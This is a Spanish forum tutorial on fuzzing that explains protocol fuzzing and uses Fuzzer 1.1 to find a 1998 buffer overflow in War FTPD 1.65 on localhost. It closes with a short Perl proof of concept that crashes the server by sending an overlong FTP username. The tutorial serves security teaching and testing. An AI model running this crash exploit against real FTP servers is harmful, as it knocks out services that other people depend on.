¿Qué son los Fuzzers?

  • 0 Respuestas
  • 2890 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado dracko.rx

  • *
  • Underc0der
  • Mensajes: 247
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • http://rax0rnet.blogspot.com/
    • Email

¿Qué son los Fuzzers?

  • en: Febrero 25, 2010, 11:55:40 am
¿Fuzzing, Fuzzers que es todo esto?
 
  [idea] Para comenzar, diremos que se conoce como “Fuzzing” a las diferentes técnicas de software automatizadas, capaces de generar y enviar datos secuenciales o aleatorios a una o varias áreas o puntos de una aplicación, con el objeto de detectar defectos o vulnerabilidades existentes en el software auditado.
 
 [idea] Las herramientas con capacidad de “Fuzzing”, a menudo son conocidas como “Fuzzers”, y dependiendo de la implementación que cada una de estas herramientas haga de las técnicas de “Fuzzing”, es probable que existan tipos que se ajusten mejor a cada una de las diferentes necesidades del researcher o profesional a cargo del testing (Protocolos / Networking, Application / WebApplication, etc.).

 [idea] Si bien es cierto que el concepto de “Fuzzing” es de ámbito general de acuerdo a lo mencionado, quizás no sea mala idea el que conozcas como funciona cada una de las herramientas a tu alcance, antes de decidir su tilización en alguno de tus proyectos personales.

 [idea] Pero imagino que probablemente exista quien aún no haya entendido a lo que me estoy refiriendo, por tanto me permitiré tomar el siguiente ejemplo: Supongamos que necesitamos conocer si una aplicación en particular posee algún tipo de Buffer Overflow, a fin de detectar este tipo de situación, un tester sencillamente podría generar datos de distintos tamaños y enviar estos a uno de los puntos de entrada existentes en la aplicación, con el objeto de observar su comportamiento ante estas pruebas o mejor dicho como estos requerimientos son manejados. Si el programa a testear falla en tal menester, esto significara dos cosas: que hay defectos que corregir, y que probablemente sea posible explotar la falla.
 
 [idea] De acuerdo a lo mencionado hasta aquí, podemos inferir que el principal uso del Fuzzing, es el de testear software (servicios, protocolos, aplicaciones, etc.) con el objeto de encontrar defectos de desarrollo o implementación. Este testing no solo puede (y debe) ser llevado a cabo como parte del ciclo de vida de un desarrollo, sino que también comprende un método excelente de testeo a ser aplicado como parte de pentest del tipo “BlackBox”. Debido a su relativa sencillez, estas técnicas a menudo poseen una relación costo beneficio altamente efectiva. A pesar de esto, el Fuzzing no reemplaza el testing manual o los métodos tradicionales de testeo de software y QA, este solo podrá proveernos de una serie de pruebas aleatorias que podrían mostrarnos solo una parte del
problema.

  Fuzzing de Protocolos
 
 [idea] El “Fuzzing” de protocolos, no es muy diferente al “Fuzzing” de aplicación. Cada protocolo posee su propio set de parámetros y una estructura que a menudo puede ser testeada. Los “Fuzzers” basan parte de su tarea en la ventaja que les brinda el conocer exactamente como “debería” funcionar determinado protocolo basándose en los RFCs relacionados a tal o cual de ellos. De este modo, el Fuzzer sabe que debe esperar de cada una de las pruebas a las que someterá al protocolo a testear (o mejor dicho su implementación) y podrá alertar al tester cuando encuentre una respuesta que no ha podido ser manejada o ha sido manejada erróneamente.
 
 [idea] Pero ¿como hace realmente un Fuzzer para llevar a cabo su tarea? a fin de ejemplificar su operatoria, me basaré de un ejemplo que oportunamente publicara Sacha Faust, de SPI Dynamics  en un excelente paper que aprovecho a recomendar desde aquí, el cual se denomina “Web Application Testing with SPI Fuzzer”. 
 
 [idea] Cuando se trabaja con fuzzing sobre HTTP, generalmente se intenta testear al menos cada uno de los siguientes aspectos del protocolo o su implementación:

 [idea] Para que quede un tanto mas claro, la idea detrás del fuzzing de protocolo http en este ejemplo, es básicamente la de parsear cada uno de los aspectos que componen el protocolo y testear mediante la generación de determinados requerimientos, cada uno de estos componentes en forma individual, a fin de  identificar el modo en que la implementación maneja las excepciones o inclusive la alteración de tráfico real.
 
 [idea] El request HTTP citado a continuación, corresponde a un requerimiento real hecho por un browser a un sitio web determinado. Las partes dispuestas en color rojo, representan algunos de los datos/campos que tal como mencionáramos en el párrafo anterior podrían ser sometidos a “Fuzzing” en forma individual, a fin de observar su comportamiento:

  El primer Acercamiento: Fuzzer 1.1
 
 [idea] Bien, ahora que conoces conceptualmente alguno de los aspectos más importantes en torno al Fuzzing, creo que es hora de dar nuestros primeros pasos en la utilización de alguna herramienta que implemente este tipo de técnicas.
 
 [idea] Una rápida búsqueda en Google, probablemente arroje una serie de páginas con links a algunas de las herramientas más populares. Algunos buenos ejemplos de estas, sin lugar a dudas sean: SPIKE 2.9 de Immunitysec, mielietools 1.0 de Sensepost, SPI Fuzzer de SPI Dynamics y Fuzzer 1.1 de Sergio “Shadown” Alvarez.
 
 [idea] A los efectos de ilustrar este artículo, he decidido utilizar mi preferido: Fuzzer 1.1 de  Sergio “Shadown” Alvarez. Los motivos de esta elección son varios. En primer lugar, su código se encuentra disponible y se distribuye bajo GPL. En segundo lugar, es pequeño, sencillo, potente, rápido y esta escrito en Python .

 [idea] Antes de comenzar vamos a asegurarnos de que has obtenido lo necesario como para tener Fuzzer 1.1 funcionando en tu equipo de pruebas:

  Python 2.2:Puesto que Fuzzer 1.1, se encuentra desarrollado en Python, la instalación de este entorno resulta imprescindible

  pyOpenSSL:A fin de manejar en forma correcta el tráfico SSL, Fuzzer 1.1 requiere tener instaladas las librerías provistas por este wrapper de nombre pyOpenSSL  . Su instalación es sumamente sencilla y no deberías tener problemas para tener funcionando esta en segundos.

Descargar Python 2.2 + PyOpenSSL



Descargar Video de Instalacion de Python 2.2 + PyOpenSSl

  Fuzzer 1.1

  Descargar Fuzzer 1.1 AQUI

 [idea] Fuzzer 1.1 es una sencilla y potente herramienta de “fuzzing” desarrollada por Sergio “Shadown” Alvarez . Esta se entrega con los protocolos FTP, SMTP y POP3 declarados por defecto y listos para usar,  aunque debido a su concepción modular, el agregado de nuevos protocolos, debería resultar en una tarea sencilla pro medio de la edición del archivo de configuración “protocols.py”. Al descargar el tar.gz, no tendrás más que disponer de un directorio (fuzzer-1.1 por defecto) donde descomprimir sus archivos y comenzar a disfrutar de sus bondades.

 [idea] Ok, si todo ha salido bien, tu sistema contará a partir de este momento, con una instalación de Python, las rutinas SSL requeridas por la aplicación, y Fuzzer 1.1 lista para ser ejecutada. Para constatar que todo este funcionando, sencillamente abriremos  una ventana de comandos (Ejecutar-->CMD.exe-->Enter),  nos situaremos sobre el directorio donde hemos instalado Fuzzer 1.1, y ejecutaremos la siguiente línea:


Código: [Seleccionar]
C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py
  Luego de dar entrada al comando anterior, deberías estar viendo la ayuda de Fuzzer 1.1 tal como se muestra en la Imagen.



 [idea] Felicitaciones!!
ya estas en condiciones de comenzar a realizar testear algunas aplicaciones y protocolos!, que ¿como haces esto? bien... la verdad es que la respuesta acuanto tus conocimientos de lenguajes de programación, protocolos, networking y seguridad, pero para no decepcionarte vamos a descargar un viejo programa FTP muy conocido por su popularidad y por la existencia de algunos Buffer Overflows encontrados en algunas de sus versiones, en particular en la 1.65, se trata de War FTP Daemon

  Descargar War FTPD Daemon 1.65 AQUI

 [idea] Ok, te diré lo que haremos ahora para poder probar la efectividad de Fuzzer 1.1 en la detección de posibles bugs en el software... Descargado e instalado este servidor FTP(Setup.exe), procederemos a ejecutarlo (war-ftpd.exe). Luego de dar OK en la pantalla de bienvenida, nos encargaremos de que el servicio FTP se ponga a correr... para esto, deberemos hacer click en el icono ilustrado con un rayo



Ya es hora, abriremos ahora una nueva ventana de comando (CMD.EXE), ingresaremos al directorio donde hayamos instalado el Fuzzer, y procederemos a ejecutarlo con la siguiente línea de comando:
 
Código: [Seleccionar]
C:\Documents and Settings\Administrador\Escritorio\fuzzer-1.1>fuzzer.py –h localhost –p 21 –t FTP


 [idea] Perfecto, luego de dar entrada a esta línea, Fuzzer se pondrá a trabajar creando y enviando paquetes, para luego evaluar su resultado .



 [idea] Ahora bien, puesto que el software que estamos testeando tiene un bug (Reportado y reparado hace mucho tiempo ya...) llegara un momento donde Fuzzer hará que WarFTPD se cierre inesperadamente, para luego anunciar un mensaje en pantalla  en donde podrás leer:
 


 [idea] Ahora Analizamos la Informacion que nos Entrega Fuzzer 1.1 .


 [idea] Ahora si nos Damos Cuenta en un inicio del Analisis.

  Please enter your user name.: Como nos muestra en todo el analisis, empieza a verificar si puede producirse un buffer overflow por la cantidad de caracteres en el user o password, y empieza a chequear cuantos, caracteres nececita para poder provocar esta vulnerabilidad.

  Luego Detecta una Vulnerabilidad, por la cantidad de caracteres introducidos en el username. alrededor de 1000 caracteres.

 [idea] Tambien navegando por Internet encontre informacion que confirmo mi analisis sobre el Fuzzer.

 [idea] Esta vulnerabilidad fuese tenido alguna utilidad  hace 9 años, porque fue descubierto en 1998, busque y busque y no encontre un exploit, con conocimiento basico sobre perl se pudo codear este exploit, lo cual hago mension aqui, es mi primer exploit, aunque no tiene ninguna utilidad para explotar algun ordenador que este corriendo este servicio, pero si de uso educacional.

  Una ves Analizado el Resultado del Fuzzer, y respaldado por el Bugtraq, ahora podemos crear nuestro exploit.

Exploit War FTPD 1.65 Buffer Overflow By OzX [Perl]

Código: [Seleccionar]
#!/usr/bin/perl
# ===============================================================================================
#                            War FTPD 1.65
#                               By OzX
# ==============================================================================================
# Referencia: http://seclists.org/bugtraq/1998/Feb/0013.html
# Windows 95/NT War FTPD 1.65 Buffer Overflow
# Exploit Diseñado para el Manual de Fuzzer: Buscando Vulnerabilidades
# www.new-Bytes.net
# #================================================================================================
use strict;
use Net::FTP;

my $username = "////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////";
my $pwd = "exploit";
my $ftp = Net::FTP->new("localhost") or die("No se pudo conectar al servidor, porque el user y pass no eran correctos \n, pero se logro la intencion de crear el buffer overflow : $!");
$ftp->login($username,$pwd) or die("Login incorrecto: $!");
$ftp->quit or die("No se puede desconectar del servidor: $!");

  Bueno Aqui les Dejo un Video en donde Demuestra que el Exploit Funciona a la Perfeccion.

[idea] Descargar Video de Demostracion Exploit War FTPD DAEMON




[idea] Saludos, y Ojala que entiendan mi Adaptacion, la creacion del Exploit y todo lo demas, la siguiente semana lo volvere a revisar para seguir expandiendolo ya que el tema da para mucho mas,tambien para que se paresca menos al paper original y se expanda, aunque de forma de introduccion es bastante bueno.

Propiedad de New-Bytes.net
Venta de diseños - Contactar por MP

http://rax0rnet.blogspot.com/